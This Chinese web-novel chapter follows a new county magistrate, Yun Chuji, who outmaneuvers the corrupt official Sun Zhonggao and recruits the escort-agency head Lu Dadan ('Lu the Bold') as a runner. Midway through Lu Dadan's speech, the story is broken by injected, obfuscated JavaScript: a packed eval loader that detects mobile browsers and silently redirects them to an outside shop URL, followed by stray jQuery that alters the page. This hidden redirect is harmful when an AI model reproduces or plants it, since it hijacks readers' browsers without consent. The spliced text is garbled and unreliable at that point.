说起鲁家镖局,孙仲高有无数诋毁要讲。
鲁家镖局的镖头……名字孙仲高记不大清了,只知其外号叫作鲁大胆,诨名叫得多了,便没什么人喊她本名。
这鲁大胆却是奇葩一朵,她家中三代走镖,其母父皆为镖师,十七年前一次失镖,不仅货物丢失,同行镖队竟也无一人生还,所有家当更是因此赔了个干净。
当时鲁家镖局还叫四海镖局,在惠朝虽排不上什么名号,可在滂州也算有口皆碑,此次失镖使得四海镖局元气大伤,仅剩的几个镖师也作鸟兽散,惟独留下当时年仅十三岁的鲁大胆。
她痛也痛了,哭也哭了,随后竟敢孤身一人跑去为母父及镖队收尸,可惜镖局赔了出去,饶是鲁大胆有几分拳脚在身上,也独木难支,仅能靠与人做女使来勉强维持生计。
待到稍微再大些,她便做起了捉刀人,攒下些许积蓄后,鲁大胆不知从哪里聚集了几个来历不明的女人重开镖局,怎奈生意不兴隆,她又脾气暴烈,疾恶如仇,时不时还捡人回去,是以日子过得捉襟见肘。
不过这都不是孙仲高怀恨之由。
孙家其中一间粮铺,正是从前的四海镖局,鲁大胆一直想将它买回去。
她并非恃强凌弱之人,可谁叫孙氏自己屁股不干净,四处为非作歹,整个阜卢县,连同前任知县在内,都找不出几个敢跟孙家叫板的,这鲁大胆却敢!
双方多有冲突,虽说鲁家镖局无论人数还是财力,都难以同孙家匹敌,奈何她们人少……且能跑。
何况所谓的“鲁家镖局”,不过是阜卢城北一无主破屋,家无长物,徒有四壁,光脚的完全不怕穿鞋的。
孙仲高不胜其烦,便决定除此后患,他特意设了个圈套,找人假作雇主,骗鲁大胆带人走镖,再在远离阜卢的地方将其一网打尽。
他花大价钱请了杀手,那是实实在在的亡命之徒,不仅武功高强,还杀人如麻,若非有兄长的关系,孙仲高都不敢同这些人打交道。
鲁大胆那几分三脚猫的功夫,在真正的高手面前与稚童无异。
谁知孙仲高正美美等着喜讯传来,鲁大胆她们居然成功护镖回来了,而他请的那几个江湖人,竟再没了消息。
孙仲高暗暗心惊,难不成这鲁大胆,还有些真本事在身上?
打那之后,他生怕鲁大胆查到自己身上,听说那些江湖人能飞天遁地,万一对方蓄意报复,身边这些只有蛮力的家丁绝对靠不住。
所以孙仲高老实了许多,恰逢田知县离任,他便一门心思钻研夺权,没曾想鲁大胆竟找上门来了!
这可是前所未有之事,莫非姓鲁的真是深藏不露,否则怎地敢打来县衙?
云初霁不知晓来者何人,可她会察言观色,看孙仲高这德性,她微笑道:“既是如此,孙大人不如随本官同去,本官在阜卢人地两生,到底不比孙大人土生土长。”
若是没有买凶杀人这回事,孙仲高去也就去了,奈何他心中有鬼,生怕到了门口让那鲁大胆一刀剁了,权力再好,总得有命享。
他清清嗓子,开始琢磨寻个什么理由来躲避露面。
还是孙家师爷了解他,“哎哟,真是不巧,我家大人他日夜操劳公务,近日又大雪不停,他的雀目症又犯了,还请县尊大人开恩,容我家大人先回官署小憩片刻啊。”
孙仲高心领神会,立时眯起眼睛,双臂胡乱挥舞两下,被师爷扶住:“大人,大人!”
云初霁似笑非笑道:“孙大人一心为公,本官钦佩万分。家母于药理一道略有涉猎,本官自小耳濡目染,也随她长了些见识。孙大人既患有雀目症,还可多吃些肝脏鸡子,鲜鱼蔬菜,若当真病入膏肓,千万莫要讳疾忌医,还是佐以汤药辅之更佳。”
孙仲高干巴巴应道:“这是自然,这是自然。”
云初霁不再同他计较,使张五前头带路,她行走于夜色中,气质斐然,看得孙仲高忮忌不已。
“二爷,咱们是回府,还是?”
有个不识相的家丁悄么声问了句。
师爷抬手一巴掌拍他脑袋上:“回什么回,都说了大人身体不适,若是立马回府,岂不显得虚假?”
那家丁被拍得脑瓜子嗡嗡响,暗忖这不适不就应当回府么?留在县衙……难不成还能治愈?
因孙仲高身短,师爷需得垂首才能凑到其耳边,作为心腹,在外必然要为自家大人留足颜面,给足台阶。
“大人,毕竟有百姓深夜击鼓,县尊大人又初来此地,还得您从旁协助才是。您看这样如何,属下先扶您回官署稍作歇息,若县尊大人有何命令,也好及时回应。”
这正和孙仲高的意,他担忧鲁大胆来者不善,怕立时走在门口碰个正着,也不甘无法目睹云初霁落入圈套,还是师爷会讲话。
他们人多,又絮语不停,陈知书早被惊醒,待孙仲高一行人离去,她立即去将石榴唤起,县衙内可用之人屈指可数,她与石榴好歹算两个人手。
“我去就成了,太太留在屋中,外头可冷呢,再病了主君要担心的。”
石榴困嗒嗒地说,出门时顺手抄起一捧雪搓了搓脸,登时冷得一哆嗦,彻底醒了。
陈知书哪里放心得下,坚决同去。
另一头,云初霁已随张五到了衙门口。
正如张五所报,那灌风的升堂鼓前正跪着一伛偻老翁,此外便是正门处,站着五六个人,为首者一身裋褐,宽脸浓眉,生得孔武有力,一双铜铃般的圆眼闪烁着匪气,往那一杵跟座小山一般。
她身后其余几人亦作同等打扮,几乎是一见面,云初霁便确定她便是令孙仲高谈之色变的“鲁家镖局那群人”。
鲁大胆双手抱胸昂着下巴,一副帮闲做派,将云初霁上下打量一番,质问说:“我家有一宝物丢失,特来报官。”
不等云初霁问她是何宝物,她又自顾自道:“这宝物有千里传音之能,内藏特制烽燧,一旦点燃,狼烟久
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096451|195630||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
久不散,不知……你见过没有。”
云初霁一听,才明白此人竟是因自己之前无意拉了火索的竹信而来,她思索须臾,道:“宝物已用,仅余此竹。”
当时她顺手将空了的竹信放入怀中,顺手便取给了鲁大胆看。
鲁大胆瞧见竹信,立时转怒为喜:“大水冲了龙王庙,咱们是一家人哪!无论何事,尽可使唤我等,赴汤蹈火在所不辞!”
说着,爽朗冲云初霁咧嘴一笑,脸上竟还有俩酒窝。
“我叫鲁不凡,人称鲁大胆,你叫我大胆就行。”
她豪爽地将胸膛拍得砰砰响,而后忽地如梦初醒:“哦,阁下尊姓大名啊?”
合着热热情情地寒暄半天,她只认信物还不认人呢。
云初霁见她自有一股义薄云天的豪气,亦是以礼相待:“不才姓云,名初霁,不知凤沼霖初霁的初霁。”
鲁不凡把这句诗在嘴里囫囵念了两遍,愣想不出是哪几个字,她挥挥手:“改天你写给我看看。对了,我怎地从未在县衙看到过你?”
不是鲁不凡说大话,而是她与孙家结仇,他们没少拿官身来压她,可以说三班差役鲁不凡没一个不认得。
云初霁答道:“不才正是阜卢新任知县,今日将将上任。”
鲁不凡瞪大了眼,她看了眼守值的差役,欲言又止。
两人对话只在转瞬间,云初霁随即问道:“县衙内正缺人手,若鲁镖头不弃,可愿助我一臂之力?待遇等同差役,食宿全管。”
闻言,鲁不凡及身后四人瞠目结舌,一向只有她们被官差撵着跑的份儿,今儿竟被知县大人亲自招揽?天底下竟还有这样的好事?
守门的两个男皂吏同样震惊,他们隐约知道些孙仲高的阴谋,也暗暗幸灾乐祸等着看新知县落入僵局,可谁曾想,这位新知县大人,她竟要招女子为吏!
云初霁敢说,便是有把握。
县衙除却县丞与主簿,其余属官胥吏尽是未入流之人,尤其是三班中的壮班,其成员多为民壮,由民间选拔而出,流程看似严谨,实则个中门道颇多。
至少阜卢若是严格按照流程筛选,张五黄狗这样或胖或矮的人绝对榜上无名。
这时,鲁不凡的后腰冷不丁让人戳了一下,她猛地一激灵,大声应承:“当然愿意,再愿意不过了!”
云初霁也未曾想瞌睡时会有人来送枕头,鲁不凡出现的虽突兀,于她而言却是好事。
省了与孙氏勾心斗角的功夫,使手头暂时有人可用,还能震慑孙仲高——她几乎有些想叹息了,孙大人怎地突然犯了雀目症,以至于错过了同鲁大胆见面的好时机。
不过不碍事,谁叫他为了看她笑话,依旧赖在官署不肯走呢。
三言两语敲定了正事,云初霁转而看向击鼓之人。
对方失魂落魄,定睛细看才发觉,此人并未老翁,只是风雪挂满头面,又形如枯槁,才使得他看起来较实际年龄苍老许多。